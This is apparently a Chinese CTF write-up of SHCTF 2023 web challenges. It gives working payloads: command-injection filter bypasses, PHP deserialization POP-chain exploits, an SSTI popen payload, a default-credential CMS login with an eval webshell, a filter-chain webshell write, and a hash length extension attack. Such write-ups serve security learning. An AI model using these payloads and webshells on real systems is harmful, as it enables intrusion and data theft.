Week1
babyRCE
源码如下
<?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
}
扫描一下当前目录,发现flag
绕过方式如下
过滤字符串 | 替代字符串 |
---|---|
cat | uniq |
空格 | ${IFS} |
flag | fla? |
payload如下
?rce=uniq${IFS}fla?.php
?好好好,这么玩是吧
flag在根目录里
重新构造payload:
?rce=uniq${IFS}/f???
得到flag
1zzphp
开题得到源码
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{$code = (String)$_POST['c_ode'];$num=$_GET['num'];if(preg_match("/[0-9]/", $num)){die("no number!");}elseif(intval($num)){if(preg_match('/.+?SHCTF/is', $code)){die('no touch!');}if(stripos($code,'2023SHCTF') === FALSE){die('what do you want');}echo $flag;}
}
先绕过第一层
intval()
不能用于 object,否则会产生 E_NOTICE 错误并返回 1
preg_match
只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错,如果正则不匹配多行(/m)也可用上面的换行方法绕过
所以我们直接将num
当做数组传入即可
?num[]=111
然后又通过正则匹配过滤了SHCTF
,但是又让我们传入的code
的值为2023SHCTF
这里利用preg
最大回溯来绕过,直接写脚本发送请求
具体可看这篇:深悉正则(pcre)最大回溯/递归限制
import requestsurl = "http://112.6.51.212:30395/?num[]=111"param = "very"*250000+"2023SHCTF"
#param = "2023SHCTF"
data = {'c_ode': param,
}
#print(param)
reponse = requests.post(url=url,data=data)
print(reponse.text)
运行可得到flag
ez_serialize
听说你会PHP反序列化漏洞?不信,除非can_can_need_flag
进入环境得到源码
<?php
highlight_file(__FILE__);class A{public $var_1;public function __invoke(){include($this->var_1);}
}class B{public $q;public function __wakeup()
{if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker"; }
}}
class C{public $var;public $z;public function __toString(){return $this->z->var;}
}class D{public $p;public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['payload']))
{unserialize($_GET['payload']);
}
?>
反序列化,先构造pop链
利用点是在__invoke()
魔术方法中的include
函数,可以利用该函数进行文件包含
__invoke() :将对象当作函数来使用时执行此方法
那么向上找就找到了__get()
魔术方法,会在return $function()
的时候执行一个函数
__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发
继续找可以看到在__toString()
魔术方法中,有return $this->z->var
,在试图获取z
类中var
属性的值,所以可以通过这个触发__get()
魔术方法
__toString(): 当一个对象被当作字符串使用时触发
然后可以看到在preg_match
正则匹配的时候,会将对象当做字符串处理,所以pop链如下
A::__invoke() <-- D::__get() <-- C::__toString() <-- B::__wakeup()
构造exp:
<?php
class A{public $var_1;function __construct(){$this ->var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';}public function __invoke(){include($this->var_1);}
}class B{public $q;function __construct(){$this ->q = new C();}
}
class C{public $var;public $z;function __construct(){$this ->z = new D();}
}class D{public $p;function __construct(){$this ->p = new A();}
}
$a = new B();
echo serialize($a);
运行生成序列化字符串
O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
payload传参
?payload=O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
传参得到base64编码的flag,解码得到flag
登录就给flag
无语了。。。一开始以为是strtus2,结果就是弱口令
账号admin
,密码password
,弱口令直接登
飞机大战
小飞棍来喽
查看源代码可以看到获得flag的要求
但是我在找控制分数的属性的时候找到了这个
可以看到是unicode
编码,解码一下
应该是一串base64
编码字符串,解码得到flag
ezphp
源码如下
<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{$pattern=$_POST['pattern'];if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code)){$code=$_GET['code'];preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);echo "you are smart";}else{die("try again");}
}else{die("it is begin");
}
?>
因为字符串中的特殊字符需要转义,所以\\1
实际上就是 \1
, 而 \1
在正则表达式中表示反向引用。
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从
1
开始,最多可存储99
个捕获的子表达式。每个缓冲区都可以使用\n
访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
可以看看这篇文章:深入研究preg_replace与代码执行
正则表达式 | 含义 |
---|---|
. | 匹配除换行符以外的任意字符 |
\s | 匹配任意的空白符 |
\S | 匹配任何非空白字符 |
+ | 匹配前面的子表达式一次或多次 |
所以可以构造payload:
?code= ${phpinfo()}POST data:
pattern=\S*
flag在phpinfo中,找就行了
生成你的邀请函吧~
API:url/generate_invitation Request:POST application/json Body:{ "name": "Yourname", "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg" }
使用POST json请求来生成你的邀请函吧flag就在里面哦
就按照格式发包即可,请求包如下
POST /generate_invitation HTTP/1.1
Host: 112.6.51.212:31712
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Cache: no-cache
Content-Length: 120
Origin: moz-extension://52197b93-2daa-44a4-bdab-53cb22781078
Connection: close
Cookie: session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5ODE0NDg2Ny45MjU0Njh9.ZTeiYw.DovBAS1GQx11tdF57JlQ1hO2pqQ{ "name": "Yourname", "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}
发完包之后会自动下载一个图片,flag在里面
Week2
serialize
刚刚失误了,狠狠拷打完出题人,我不信你这次还能拿到flag
源代码如下
<?php
highlight_file(__FILE__);
class misca{public $gao;public $fei;public $a;public function __get($key){$this->miaomiao();$this->gao=$this->fei;die($this->a);}public function miaomiao(){$this->a='Mikey Mouse~';}
}
class musca{public $ding;public $dong;public function __wakeup(){return $this->ding->dong;}
}
class milaoshu{public $v;public function __tostring(){echo"misca~musca~milaoshu~~~";include($this->v);}
}
function check($data){if(preg_match('/^O:\d+/',$data)){die("you should think harder!");}else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));
构造pop链,利用点是在milaoshu
类的__toString()
魔术方法中的include
函数来进行文件包含
__toString(): 当一个对象被当作字符串使用时触发
向上找,可以看见__get()
魔术方法中的die()
函数可以触发__toString()
魔术方法,
__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发
继续找,可以发现musca
类的__wakeup
魔术方法可以触发__get魔术方法
所以pop链如下
milaoshu::__toString() <-- misca::__get() <-- musca::__wakeup()
构造exp的时候注意一下,在__get()
魔术方法会触发miaomiao
函数并重新赋值,但是我们可以利用PHP变量引用
来进行绕过
PHP变量引用
&
传递变量的地址, 类似于 c 中的指针
test1
<?php$a = '123';
$b = &$a;
$a = '456';
echo $b;?>#456
这里面 $b
的值就是 $a
的值, 因为 $b
里面存了 $a
的地址, 两者是等价的
同理, 如果改变 $b
的值, $a
的值也同样会改变
再给个例子
test2
<?php
class abc{public $a = '1';public $b = '2';
}
$c = new abc();
$c->a =&$c->b;
$c->a = '2';//此时哪怕修改a的值也不管用
echo $c->b = md5(mt_rand()).PHP_EOL;
print_r($c->a);
?>//运行结果
99b7a2ba03ae148d05525d96ac414ad9
99b7a2ba03ae148d05525d96ac414ad9
构造exp:
<?php
highlight_file(__FILE__);
class misca{public $gao;public $fei;public $a;function __construct(){$this ->gao = "tired";$this ->fei = new milaoshu();$this ->a = &$this->gao;}
}
class musca{public $ding;public $dong;function __construct(){$this ->ding = new misca();$this ->dong = "webbbb";}
}
class milaoshu{public $v;function __construct(){$this ->v = "php://filter/read=convert.base64-encode/resource=flag.php";}
}
$a = new musca();
echo PHP_EOL;
echo serialize($a);
运行即可生成序列化字符串
O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:9:"index.php";}s:1:"a";R:3;}s:4:"dong";s:6:"webbbb";}
传参的时候也要利用PHP非法传参
来进行传参
非法传参
根据php解析特性,如果字符串中存在[、.
等符号,php会将其转换为_
且只转换一次,因此我们直接构造nss_ctfer.vip
的话,最后php执行的是nss_ctfer_vip
,因此我们将前面的_
用[
代替
当PHP版本小于8
时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
然后就是绕过check
正则匹配,其实很多简单,他正则匹配的是O:\d
,也就是O:
后面跟一个整数
开始只想到了+
绕过,但是PHP高版本情况下绕过不了,所以新学了个绕过方式,数组绕过
把最后的输出语句改为
echo serialize(array($a));
生成序列化字符串
a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";s:6:"webbbb";}}
最终payload:
?wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";s:6:"webbbb";}}
得到base64编码后的flag
no_wake_up
进入环境后点击按钮可以得到源代码
<?php
highlight_file(__FILE__);
class flag{public $username;public $code;public function __wakeup(){$this->username = "guest";}public function __destruct(){if($this->username = "admin"){include($this->code);}}
}
unserialize($_GET['try']);
很明显了,绕过__wakeup()
魔术方法,然后利用include
来进行文件包含
构造exp的时候要用伪协议来读取文件
exp:
<?php
class flag{public $username;public $code;function __construct(){$this -> username = 'admin';$this -> code = "php://filter/read=convert.base64-encode/resource=flag.php";}
}
echo PHP_EOL;
$a = new flag();
echo serialize($a);
运行生成
O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
这里直接传就行了。。。我一开始看蒙了,细看了一下
if($this->username = "admin")
这里判断条件用的是单等于号=
,所以只要传入username
就是恒成立了。。。
base64解码一下得到flag
这可能是出题的时候出错了。。。
MD5的事就拜托了
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){extract(parse_url($_POST['SHCTF']));if($$$scheme==='SHCTF'){echo(md5($flag));echo("</br>");}if(isset($_GET['length'])){$num=$_GET['length'];if($num*100!=intval($num*100)){echo(strlen($flag));echo("</br>");}}
}
if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
}
先输出md5($flag)
,可以看这篇文章
CTFSHOW PARSE_URL 第五关
简而言之就是利用parse_url
协议来对传入的url进行一个拆分,然后利用extract
来设定值
<?php
$str = "user://pass:SHCTF@scheme";
$data = parse_url($str);
var_dump($data);
//echo $data;$scheme = "Original";
extract($data);
echo "\$a = $scheme; \$b = $user; \$c = $pass";
?>
#$a = user; $b = pass; $c = SHCTF
这样,str
中$scheme
的值就是user
,那么$$sheme
就是$user
,以此类推来达到我们想要的结果
传参
POST data:
SHCTF=user://pass:SHCTF@scheme
可以得到flag的md5哈希值
d9dbdc0ee9c4af7b50c6912d872cc475
接下来绕过intval()
函数即可,利用小数绕过
虽然已经*100
了,但是多打几个小数位就可以了
http://112.6.51.212:32610/?length=4.1516
最后一串有点意思
if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
}
它检查表单中SHCTF
字段的提交值($_POST['SHCTF']
)是否不等于变量$flag
的MD5哈希值。如果第一个条件不满足,它检查经过解码的存储在变量$num
中的URL编码值连接到$flag
的MD5哈希后,是否等于提交的值。
这个其实见过就知道了,Hash长度拓展攻击
可以看我写的这篇,这里不多赘述了
[*CTF 2023]web方向——jwt2struts 详细Writeup
服了,试了半天试不出来,发现是hashpump
用错了
这里Input Data
需要的是已知字符串,Key Length
需要的是未知字符串的长度
Input Signature #现有哈希值(题目给的MD5)
Input Data #已知字符串"}"
Input Key Length #为密文长度"41"
Input Data to Add #为补位后自己加的字符串(自定义)
我们知道flag的格式,flag{}
所以我们就知道了最后的}
,那么未知的字符串长度便是41
得到的hash就是我们需要传入的SHCTF
的值,但是下面的字符串需要我们处理一下
将\x
换成%
然后传参,这里注意一下,传参的时候要把}
给去掉
%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00aa
ez_ssti
that is your begin of ssti world
很普通的ssti,没有过滤,找个payload随便打了,参数是name
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
可以扫描根目录
然后命令修改为cat /f*
即可
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}
EasyCMS
可以看到是taoCMS
网上找一个CVE照着打一下
这里直接点管理点不到,服务器响应超时,那就直接访问/admin/admin.php
,来到后台登录系统
账号admin
,密码tao
然后进入文件管理
新建shell.php
,然后点击编辑
在文件内容里写一句话木马,内容如下
<?php
phpinfo();
@eval($_REQUEST["cmd"]);
?>
点击保存后,利用蚁剑可以直接连接
但是哥们蚁剑犯病了,这里直接RCE了
payload:
cmd=system("cat /f*");
Week3
快问快答
男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。
脚本题,直接放脚本吧
import requests
import re
import timeurl = 'http://112.6.51.212:31330/'
res = requests.session()
response = res.post(url, data={"answer": 123})for i in range(1, 99):time.sleep(1.3)resTest = response.textpattern = re.compile(r'题目:(\d+) (与|异或|[+\-x÷^]) (\d+) = ?')match = pattern.search(resTest)if match:num1 = int(match.group(1))operator = match.group(2)num2 = int(match.group(3))if operator == '+':answer = num1 + num2elif operator == '-':answer = num1 - num2elif operator == '*' or operator == 'x':answer = num1 * num2elif operator == '÷':# answer = num1 / num2answer = int(num1 / num2)elif operator == '与':answer = num1 & num2elif operator == '异或':answer = num1 ^ num2else:answer = 0# print("第一个数字:", num1)# print("符号:", operator)# print("第二个数字:", num2)if answer is not None:print("计算结果:", answer)myData = {"answer": answer}response = res.post(url, data=myData)print(response.text)if "flag{" in response.text:print("Flaggggggggg!!!: ", response.text)exit()else:print("未找到匹配的题目。")print(response.text)
运行一段时间后得到flag
写脚本的时候踩了很多坑
一是符号问题,乘和除用的是x
和÷
,写的时候用的*
和/
导致符号无法识别
二是session回话保持,因为他提示了,要休息1秒
,所以在第一次发包来获得题目的时候需要time.sleep(1)
,不然题目就会刷新
三就是需要输入整数,输入小数会直接报错,所以在除法那里卡了一段时间
可以说极大地增加了写脚本的水平
sseerriiaalliizzee
don’t want to die
源代码如下
<?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}$code=$_POST['code']; if(isset($code)){echo unserialize($code);}else{echo "no way, fuck off";}
?>
可以看一下这篇文章
谈一谈php://filter的妙用
懒得讲了,直接串链子了
CTF :: dosomething <-- Start :: __toString
__toString
魔术方法直接在反序列化的时候通过echo
触发
构造exp:
<?php error_reporting(0);
class Start
{public $barking;public function __construct(){$this->barking = new CTF();}
}class CTF
{public $part1;public $part2;public function __construct(){$this->part2 = "PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";$this->part1 = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";}
}
$a = new Start();
echo serialize($a);
运行生成
O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:5:"part2";s:32:"PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";}}
然后POST传参
code=O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:5:"part2";s:32:"PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";}}
接着访问shell.php
进行RCE
payload:
shell.php?cmd=system("cat /f*");